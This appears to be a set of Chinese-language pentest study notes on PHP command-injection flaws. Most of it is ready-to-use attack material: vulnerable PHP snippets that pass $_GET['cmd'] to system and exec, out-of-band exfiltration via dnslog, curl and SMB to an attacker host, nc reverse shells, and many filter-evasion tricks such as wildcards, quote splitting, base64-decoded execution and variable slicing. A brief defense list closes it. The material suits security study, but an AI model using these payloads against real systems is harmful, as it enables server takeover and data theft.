命令执行
网站开发者使用了命令执行危险函数,并且以动态的形式接收外部传参带入命令执行函数执行命令
命令执行相关函数
system passthru popen exec shell_exec ` `
system
将传入的参数当作系统命令执行,自带输出
<?php echo '<pre>';system($_GET['cmd']);?>
exec
无自带输出,配合输出函数只能够输出最后一行
<?php echo '<pre>';echo exec($_GET['cmd']);?>
若无输出函数输出(无回显),解决方式
将执行结果重定向到文件,然后访问文件即可
ifconfig > 1.txt
利用dnslog将结果带出(有长度限制)
ping `whoami`.xxx.dnslog.cn
通过url带出结果
python -m http.server
curl http://xxx:8000/`whoami`通过smb带出结果
tail -f /var/log/samba/log.smbd | grep "failed to find service"
Windows \\192.168.172.130\%computername%
linux smbclient //xxx.xxx.xxx.xxx/`whoami`.txtwindows目标机带出结果(不会执行命令)
certutil -f -urlcache -split http://192.168.172.1:9090/%computername%
shell_exec
不自带输出,配合输出函数能够输出完整结果
passthru
自带输出
popen
能够执行OS命令,返回一个文件指针,一般将命令执行结果写入文件
<?php echo '<pre>';popen($_GET['cmd'].'>> 123.txt','r');?>
``反引号
调用shell_exec函数执行命令,无自带回显
<?php echo '<pre>';$cmd=$_GET['cmd'];print("$cmd");?>
windows多命令执行
Linux多命令执行
命令执行变形
Linux
通配符
*在bash内代表多个字符(linux)
/usr/bin/whoami -> /*r/*n/wh*mi
?在bash内代表一个字符
/usr/bin/whoami -> /?sr/?in/wh??mi
[,]代表匹配其中一个字符
/usr/bin/whoami -> /[a,b,u,s]sr/[a,b,u,s]in/[a,b,u,s,w]hoami
[-]代表连续的字符
/usr/bin/whoami -> /u[a-z]r/b[a-z]n/[a-w]hoami
反弹shell配合通配符
nc -lvvp 5555 #监听
nc -e /bin/bash x.x.x.x 5555
nc -e /???/b??h x.x.x.x 5555
nc -e /???/b??h 十进制ip 5555 #kali
连接符
'单引号
whoami -> 'w'h'o'a'm'i
"双引号
whoami -> "w"h"o"a"m"i
单双引号要成对出现
\反斜杠
whoami -> \w\h\o\a\m\i
各种连接符可组合使用(单双引号成对出现)
未初始化的变量
cat$a /etc$a/passwd$a #$a不能出现在字符中间
自定义bash变量
a=w;b=hoa;c=mi;$a$b$c
使用一般不被waf过滤的命令
whois带数据
nc -lvvp 5555 #攻击机
whois -h x.x.x.x -p 5555 `whoami`
反引号执行命令
命令之中执行命令
sadfasdf`whoami`asdfasdf
反引号污染
wh`asdfasdfasdfsazx`o`asdfasdfazxcv`ami
花括号、重定向符号绕过空格限制
花括号
cat /etc/passwd -> {cat,/etc/passwd}
重定向符号
<为输入重定向,>为输出重定向
cat /etc/passwd -> cat<>/etc/passwd
base64编码
首先对whoami进行base64编码
echo whoami | base64
再对其结果进行解码(组合为一个命令),加上``执行命令
`echo d2hvYW1pCg==|base64 -d` #whoami
干扰符号
$1-9、$*、$@、$"、$""、$()、'、"
将干扰符号插在执行命令的字符中
环境变量截取
echo $PATH #输出环境变量 /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/root/bin
echo ${#PATH} #获取环境变量长度
wh${PATH:6:1}ami
windows
干扰符号
"双引号
w""""""""""hoami
^(在windows为转义字符)
wh""o^a^mi
()括号
(((wh^oam""i)))
大小写绕过
变量拼接
set a=who&&set b=ami&& call %a%%b%
变量截取
带出变量
ping %username%.dnslog.cn
uslookup %username%.dnslog.cn
curl %username%.dnslog.cn
base64外带
python -m http.server #攻击机
curl http://x.x.x.x:8000/$(whoami|base64)
命令执行漏洞危害:
执行任意命令控制服务器
执行命令写文件
<?php file_put_contents('shell.php','<?=phpinfo()?>');?>
执行命令反弹shell
利用hacktool插件生成反弹shell
命令执行漏洞防御:
- 开启disable_function禁用命令执行函数或其他危险函数
- 过滤敏感字符如echo,bash,whoami,ifconfig,|,||,&,&&,;
- 对传入的参数进行转义过滤,addslashes函数转义参数值